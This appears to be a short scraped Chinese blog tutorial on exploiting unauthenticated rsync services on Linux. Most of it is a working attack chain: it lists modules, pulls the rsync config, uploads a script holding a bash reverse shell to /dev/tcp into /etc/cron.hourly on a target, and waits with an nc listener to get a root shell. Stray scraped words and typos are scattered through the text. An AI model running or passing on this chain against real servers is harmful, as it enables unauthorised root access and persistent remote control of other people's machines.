介紹:Rsync是linux下一款數據備份工具,默認開啓873端口linux
利用條件:rsync未受權shell
列出模板
rsync rsync://目標ip:873/
ubuntu
列出模塊src下的文件
rsync rsync://目標ip:873/
bash
rsync下的配置文件/etc/rsynd.conf到本機的/root/1.conf
rsync -av rsync://目標ip:873/src/etc/rsyncd.conf /root/1.conf
dom
ubuntu的定時任務默認文件:tcp
SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
17 * * * * root cd / && run-parts --report /etc/cron.hourly
的意思是:每小時的第17分鐘執行run-parts --report /etc/cron.hourly命令工具
查看rsync下配置文件,是以什麼權限運行的:url
rsync -av rsync://目標ip:873/src/etc/rsyncd.conf 1.conf cat 1.conf
提權:code
一、建立一個shell文件,內容爲bash bash -i >& /dev/tcp/ip/port 0>&1
二、賦予執行權限:chomd +x shell
三、上傳文件到定時任務目錄下rsync -av shell rsync://192.168.1.143:873/src/etc/cron.hourly
四、進行nc 監聽相應的端口blog